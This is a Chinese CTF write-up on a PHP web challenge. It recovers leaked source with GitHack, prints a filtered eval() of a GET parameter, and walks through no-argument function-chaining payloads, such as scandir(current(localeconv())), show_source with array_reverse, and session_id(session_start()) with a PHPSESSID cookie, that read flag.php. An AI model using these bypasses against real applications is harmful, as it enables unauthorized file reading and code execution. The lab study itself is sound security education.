首先来看一下这个界面
查看源代码,目录文件扫描以及抓包都没什么有价值的信息。但是web题如果没有什么功能页面,一定有什么提示。若提示也没有,一般就泄露了文件或者源码等。这题就是源码泄露 。使用GitHack。下载地址如下:https://github.com/lijiejie/GitHack
python2 GitHack.py http://你的靶机地址/.git
打开index的源码
";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
很明显,源码存在三层过滤。
1.第一层,过滤了伪协议,这里不考虑伪协议使用
2.正则表达式,/[a-z,_]+\((?R)?\)/
[a-z,_]:匹配字符与下划线
+:可匹配前一个表达式多次
(?R):整个表达式迭代匹配
(?R)?:允许"()"内出现1个或0个 比如:c(a()b()),c(a())
所以这个正则表达式含义是匹配var_dump(scandir())这种无参数命令执行
3.过滤了一些函数
4.无参数绕过一些使用函数
scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前 目录下的所有文件和目录名称(glob()可替换)
localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’, 这个.的用处很大)
current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
getcwd() :取得当前工作目录
dirname():函数返回路径中的目录部分
array_flip() :交换数组中的键和值,成功时返回交换后的数组
array_rand() :从数组中随机取出一个或多个单元
array_reverse():将数组内容反转
strrev():用于反转给定字符串
getcwd():获取当前工作目录路径
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动
注意以上4点之后,就可以构造payload。先查看目录下的文件
scandir('.')是返回当前目录,虽然我们无法传参,但是由于localeconv() 返回的数组第一个就是‘.’,current()取第一个值,那么current(localeconv())就能构造一个‘.’,那么以下就是一个简单的返回查看
?exp=var_dump(scandir(current(localeconv())));
查看到flag.php在当先数组的第4个位置,所以需要移动指针
end(),next() ,prev() ,reset() ,each()好像不能重复套娃。所以有以下两种payload
1. 因为flag在倒数第二个位置,所以反转数组,在移动指针到下一个即可
?exp=var_dump(show_source(next(array_reverse(scandir(current(localeconv()))))));
2. 也可以靠运气,使用array_rand随机打开
?exp=var_dump(show_source(array_rand(array_flip(scandir(current(localeconv()))))));
3.session_id。session_id() 可以用来获取/设置 当前会话 ID。使用 session_id()的时候,需要使用 session_start()来开启session会话 。构造数据包
?exp=highlight_file(session_id(session_start()));
Cookie:PHPSESSID=flag.php
结束,还是学废了小知识